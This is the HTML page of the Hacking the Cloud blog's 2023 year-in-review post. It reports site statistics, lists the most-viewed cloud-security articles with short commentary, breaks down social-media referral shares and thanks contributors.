103.33 11.4 50.81-2.8 79.32-18.1 79.32-18.1l-1.7-36.9s-36.31 11.4-77.12 10.1c-40.41-1.4-83-4.4-89.63-54a102.5 102.5 0 0 1-.9-13.9c85.63 20.9 158.65 9.1 178.75 6.7 56.12-6.7 105-41.3 111.23-72.9 9.8-49.8 9-121.5 9-121.5m-75.12 125.2h-46.63v-114.2c0-49.7-64-51.6-64 6.9v62.5h-46.33V197c0-58.5-64-56.6-64-6.9v114.2H90.19c0-122.1-5.2-147.9 18.41-175 25.9-28.9 79.82-30.8 103.83 6.1l11.6 19.5 11.6-19.5c24.11-37.1 78.12-34.8 103.83-6.1 23.71 27.3 18.4 53 18.4 175z"/></svg></span></a></span> <br> <span> <span class=twemoji><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M6.75 0a.75.75 0 0 1 .75.75V3h9V.75a.75.75 0 0 1 1.5 0V3h2.75c.966 0 1.75.784 1.75 1.75v16a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75v-16C1.5 3.784 2.284 3 3.25 3H6V.75A.75.75 0 0 1 6.75 0M21 9.5H3v11.25c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25Zm-17.75-5a.25.25 0 0 0-.25.25V8h18V4.75a.25.25 0 0 0-.25-.25Z"/></svg></span> December 20, 2023 </span></p> </aside> <hr> <p>2023 is coming to a close and it’s time to look back on the year. This was the third year that Hacking the Cloud has been operating, sharing techniques on attacking and defending cloud environments. We’ve added a number of new articles to the site and updated old ones. With all this in mind, here are some accomplishments for the site this year.</p> <h2 id=numbers>Numbers<a class=headerlink href=#numbers title="Permanent link">&para;</a></h2> <p>Here are some fun stats. All data was pulled ~6PM central, December 19th. In 2023, Hacking the Cloud has:</p> <ul> <li>457 stars gained on GitHub (1389 total)</li> <li>128 commits committed</li> <li>96,031 visits</li> <li>187,542 pageviews</li> <li>8,238 average monthly visitors (excluding December)</li> <li>And a partridge in a pear tree</li> </ul> <p>Compared to 2023, the visitor count has increased 29.9%, pageviews 50.9%, and average monthly visitors 28.6%!</p> <p>The number of total <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/graphs/contributors>contributors</a> to the site has also increased to 25 (up from 17). A major thank you to everyone who has contributed to building Hacking the Cloud. From the smallest fix of a typo, to writing entire articles, everything helps make the site a better source for cloud security information. All our contributors make this site possible and I appreciate their efforts deeply.</p> <h2 id=most-popular-articles>Most popular articles<a class=headerlink href=#most-popular-articles title="Permanent link">&para;</a></h2> <p>An area that I’m always interested in are our most popular articles. What topics are cloud security professionals interested in learning about? What articles are being shared in Jira tickets to be fixed? Here are the top 5 most popular articles:</p> <ol> <li><a href=https://hackingthe.cloud/aws/exploitation/ec2-metadata-ssrf/ >Steal EC2 Metadata Credentials via SSRF</a> - 16,234 pageviews!</li> <li><a href=https://hackingthe.cloud/aws/general-knowledge/aws_organizations_defaults/ >AWS Organizations Defaults &amp; Pivoting</a> - 15,343 pageviews.</li> <li><a href=https://hackingthe.cloud/azure/abusing-managed-identities/ >Abusing Managed Identities</a> - 5,703 pageviews.</li> <li><a href=https://hackingthe.cloud/aws/general-knowledge/using_stolen_iam_credentials/ >Using Stolen IAM Credentials</a> - 5,594 pageviews.</li> <li><a href=https://hackingthe.cloud/aws/general-knowledge/connection-tracking/ >Connection Tracking</a> - 4,869 pageviews.</li> </ol> <p>For the third year running, “<a href=https://hackingthe.cloud/aws/exploitation/ec2-metadata-ssrf/ >Steal EC2 Metadata Credentials via SSRF</a>” is our most popular article, but unlike previous years it’s not by a landslide. This article, and by extension, this technique, is a cornerstone of AWS security. Stealing IAM credentials from the instance metadata service via SSRF has provided many penetration testers and red teamers the initial access they needed in an environment. Starting next year however, AWS has <a href=https://aws.amazon.com/blogs/aws/amazon-ec2-instance-metadata-service-imdsv2-by-default/ >announced</a> that IMDSv2 will be the only option going forward. Will this mean that this beloved technique will be a thing of the past? I guess we’ll have to check the stats next year.</p> <p>In second place, and very close to first, we have “<a href=https://hackingthe.cloud/aws/general-knowledge/aws_organizations_defaults/ >AWS Organizations Defaults &amp; Pivoting</a>”. I think this rise in viewership can be attested to a growing understanding amongst offensive security professionals that cross-account trust is a huge lateral movement opportunity that can be taken advantage of. This article touches on the <code>OrganizationAccountAccessRole</code>, one of my favorite roles in AWS which potentially can be abused to take over every AWS account in an organization. A major thank you to <a href=https://www.linkedin.com/in/webbinroot/ >Scott Weston</a> for all his efforts in expanding on the article and adding more content.</p> <p>In third place, we have the first non-AWS article to ever make a top 5 (and I’m pretty sure a top 10), “<a href=https://hackingthe.cloud/azure/abusing-managed-identities/ >Abusing Managed Identities</a>”. In this article Andrei Agape describes how you can take advantage of a managed identity to access other Azure resources. As an exclusively AWS person, I’m excited to see more interest in other cloud providers. If you aren’t an AWS person and want to share some knowledge about cloud security, feel free to open a <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/pulls>pull request</a> and share your knowledge with others!</p> <h2 id=most-popular-social-networks>Most popular social networks<a class=headerlink href=#most-popular-social-networks title="Permanent link">&para;</a></h2> <p>If you’re interested in learning more about cloud security, you may also be interested in discussing with like-minded people. Social media can make that a lot easier. Here are the top social media websites with content that linked to Hacking the Cloud articles that got clicks.</p> <figure> <p><a class=glightbox href=../../images/blog/2023_wrap-up/social_media_counts.png data-type=image data-width=auto data-height=auto data-desc-position=bottom><img alt="Social media counts" src=../../images/blog/2023_wrap-up/social_media_counts.png></a></p> </figure> <ol> <li>LinkedIn - 42% of links</li> <li>Twitter - 30% of links</li> <li>GitHub - 13% of links</li> <li>Reddit - 9% of links</li> <li>Facebook - 6% of links</li> <li>Others - &lt;1%</li> </ol> <p>LinkedIn reigns supreme this year with 42% of all social media links. Perhaps, aside from all the hustle culture, there may be a thriving community of cloud security professionals there.</p> <p>In what may be a surprise to some (but not others), it looks like the InfoSec flight from Twitter might have some data backing it up. Twitter made up only 30% of links in 2023, down from 40% in 2022. </p> <p>For my Mastodon fans, I wouldn’t worry about not showing up on the leaderboards. Because of the distributed nature of the network, there isn’t a very easy way to track it. Personally, I’ve found a number of technical people interested in chatting about tech. If you are on the woolly site you can even follow Hacking the Cloud on <a href=https://infosec.exchange/@hackingthecloud>Mastodon</a>!</p> <h2 id=thank-you>Thank you!<a class=headerlink href=#thank-you title="Permanent link">&para;</a></h2> <p>Again, I want to say thank you to everyone who has shared the site’s content, contributed to making it better, or even for just saying a kind word. Hacking the Cloud has been a passion project for years now, trying to make cloud security information more accessible for the community. Thank you all for an amazing 2023, and I look forward to 2024!</p> <aside class=md-source-file> <span class=md-source-file__fact> <span class=md-icon title="Last update"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M21 13.1c-.1 0-.3.1-.4.2l-1 1 2.1 2.1 1-1c.2-.2.2-.6 0-.8l-1.3-1.3c-.1-.1-.2-.2-.4-.2m-1.9 1.8-6.1 6V23h2.1l6.1-6.1zM12.5 7v5.2l4 2.4-1 1L11 13V7zM11 21.9c-5.1-.5-9-4.8-9-9.9C2 6.5 6.5 2 12 2c5.3 0 9.6 4.1 10 9.3-.3-.1-.6-.2-1-.2s-.7.1-1 .2C19.6 7.2 16.2 4 12 4c-4.4 0-8 3.6-8 8 0 4.1 3.1 7.5 7.1 7.9l-.1.2z"/></svg> </span> <span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">February 19, 2024</span> </span> <span class=md-source-file__fact> <span class=md-icon title=Created> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M14.47 15.08 11 13V7h1.5v5.25l3.08 1.83c-.41.28-.79.62-1.11 1m-1.39 4.84c-.36.05-.71.08-1.08.08-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8c0 .37-.03.72-.08 1.08.69.1 1.33.32 1.92.64.1-.56.16-1.13.16-1.72 0-5.5-4.5-10-10-10S2 6.5 2 12s4.47 10 10 10c.59 0 1.16-.06 1.72-.16-.32-.59-.54-1.23-.64-1.92M18 15v3h-3v2h3v3h2v-3h3v-2h-3v-3z"/></svg> </span> <span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">December 20, 2023</span> </span> <span class=md-source-file__fact> <span class=md-icon title=Contributors> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M12 2A10 10 0 0 0 2 12c0 4.42 2.87 8.17 6.84 9.5.5.08.66-.23.66-.5v-1.69c-2.77.6-3.36-1.34-3.36-1.34-.46-1.16-1.11-1.47-1.11-1.47-.91-.62.07-.6.07-.6 1 .07 1.53 1.03 1.53 1.03.87 1.52 2.34 1.07 2.91.83.09-.65.35-1.09.63-1.34-2.22-.25-4.55-1.11-4.55-4.92 0-1.11.38-2 1.03-2.71-.1-.25-.45-1.29.1-2.64 0 0 .84-.27 2.75 1.02.79-.22 1.65-.33 2.5-.33s1.71.11 2.5.33c1.91-1.29 2.75-1.02 2.75-1.02.55 1.35.2 2.39.1 2.64.65.71 1.03 1.6 1.03 2.71 0 3.82-2.34 4.66-4.57 4.91.36.31.69.92.69 1.85V21c0 .27.16.59.67.5C19.14 20.16 22 16.42 22 12A10 10 0 0 0 12 2"/></svg> </span> <span>GitHub</span> <nav> <a href=https://github.com/Frichetten class=md-author title=@Frichetten> <img src="https://avatars.githubusercontent.com/u/10386884?v=4&size=72" alt=Frichetten> </a> </nav> </span> </aside> </article> </div> <script>var target=document.getElementById(location.hash.slice(1));target&&target.name&&(target.checked=target.name.startsWith("__tabbed_"))</script> </div> </main> <footer class=md-footer> <div class="md-footer-meta md-typeset"> <div class="md-footer-meta__inner md-grid"> <div class=md-copyright> Made with <a href=https://squidfunk.github.io/mkdocs-material/ target=_blank rel=noopener> Material for MkDocs Insiders </a> </div> <div class=md-social> <a href=https://infosec.exchange/@hackingthecloud target=_blank rel="noopener me" title=infosec.exchange class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M433 179.11c0-97.2-63.71-125.7-63.71-125.7-62.52-28.7-228.56-28.4-290.48 0 0 0-63.72 28.5-63.72 125.7 0 115.7-6.6 259.4 105.63 289.1 40.51 10.7 75.32 13 103.33 11.4 50.81-2.8 79.32-18.1 79.32-18.1l-1.7-36.9s-36.31 11.4-77.12 10.1c-40.41-1.4-83-4.4-89.63-54a102.5 102.5 0 0 1-.9-13.9c85.63 20.9 158.65 9.1 178.75 6.7 56.12-6.7 105-41.3 111.23-72.9 9.8-49.8 9-121.5 9-121.5m-75.12 125.2h-46.63v-114.2c0-49.7-64-51.6-64 6.9v62.5h-46.33V197c0-58.5-64-56.6-64-6.9v114.2H90.19c0-122.1-5.2-147.9 18.41-175 25.9-28.9 79.82-30.8 103.83 6.1l11.6 19.5 11.6-19.5c24.11-37.1 78.12-34.8 103.83-6.1 23.71 27.3 18.4 53 18.4 175z"/></svg> </a> <a href=https://bsky.app/profile/hackingthe.cloud target=_blank rel=noopener title=bsky.app class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </a> <a href=https://x.com/HackingthCloud target=_blank rel=noopener title=x.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M459.37 151.716c.325 4.548.325 9.097.325 13.645 0 138.72-105.583 298.558-298.558 298.558-59.452 0-114.68-17.219-161.137-47.106 8.447.974 16.568 1.299 25.34 1.299 49.055 0 94.213-16.568 130.274-44.832-46.132-.975-84.792-31.188-98.112-72.772 6.498.974 12.995 1.624 19.818 1.624 9.421 0 18.843-1.3 27.614-3.573-48.081-9.747-84.143-51.98-84.143-102.985v-1.299c13.969 7.797 30.214 12.67 47.431 13.319-28.264-18.843-46.781-51.005-46.781-87.391 0-19.492 5.197-37.36 14.294-52.954 51.655 63.675 129.3 105.258 216.365 109.807-1.624-7.797-2.599-15.918-2.599-24.04 0-57.828 46.782-104.934 104.934-104.934 30.213 0 57.502 12.67 76.67 33.137 23.715-4.548 46.456-13.32 66.599-25.34-7.798 24.366-24.366 44.833-46.132 57.827 21.117-2.273 41.584-8.122 60.426-16.243-14.292 20.791-32.161 39.308-52.628 54.253"/></svg> </a> <a href=https://www.linkedin.com/company/hacking-the-cloud/ target=_blank rel=noopener title=www.linkedin.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M416 32H31.9C14.3 32 0 46.5 0 64.3v383.4C0 465.5 14.3 480 31.9 480H416c17.6 0 32-14.5 32-32.3V64.3c0-17.8-14.4-32.3-32-32.3M135.4 416H69V202.2h66.5V416zm-33.2-243c-21.3 0-38.5-17.3-38.5-38.5S80.9 96 102.2 96c21.2 0 38.5 17.3 38.5 38.5 0 21.3-17.2 38.5-38.5 38.5m282.1 243h-66.4V312c0-24.8-.5-56.7-34.5-56.7-34.6 0-39.9 27-39.9 54.9V416h-66.4V202.2h63.7v29.2h.9c8.9-16.8 30.6-34.5 62.9-34.5 67.2 0 79.7 44.3 79.7 101.9z"/></svg> </a> <a href=https://github.com/Hacking-the-Cloud target=_blank rel=noopener title=github.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </a> <a href=https://hackingthe.cloud/feed_rss_created.xml target=_blank rel=noopener title=hackingthe.cloud class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M0 64c0-17.7 14.3-32 32-32 229.8 0 416 186.2 416 416 0 17.7-14.3 32-32 32s-32-14.3-32-32C384 253.6 226.4 96 32 96 14.3 96 0 81.7 0 64m0 352a64 64 0 1 1 128 0 64 64 0 1 1-128 0m32-256c159.1 0 288 128.9 288 288 0 17.7-14.3 32-32 32s-32-14.3-32-32c0-123.7-100.3-224-224-224-17.7 0-32-14.3-32-32s14.3-32 32-32"/></svg> </a> </div> </div> </div> </footer> </div> <div class=md-dialog data-md-component=dialog> <div class="md-dialog__inner md-typeset"></div> </div> <script id=__config type=application/json>{"base": "../..", "features": ["navigation.tabs", "navigation.indexes", "content.action.edit"], "search": "../../assets/javascripts/workers/search.c7c1ca2c.min.js", "translations": {"clipboard.copied": "Copied to clipboard", "clipboard.copy": "Copy to clipboard", "search.result.more.one": "1 more on this page", "search.result.more.other": "# more on this page", "search.result.none": "No matching documents", "search.result.one": "1 matching document", "search.result.other": "# matching documents", "search.result.placeholder": "Type to start searching", "search.result.term.missing": "Missing", "select.version": "Select version"}}</script> <script src=../../assets/javascripts/bundle.203fd0bc.min.js></script> <script src=../../javascripts/matomo.min.js></script> <script id="init-glightbox">const lightbox = GLightbox({"touchNavigation": true, "loop": false, "zoomable": true, "draggable": true, "openEffect": "zoom", "closeEffect": "zoom", "slideEffect": "slide"});
+    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#numbers class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> 2023 Wrap-up </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class=md-tabs__item> <a href=../../aws/general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=./ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 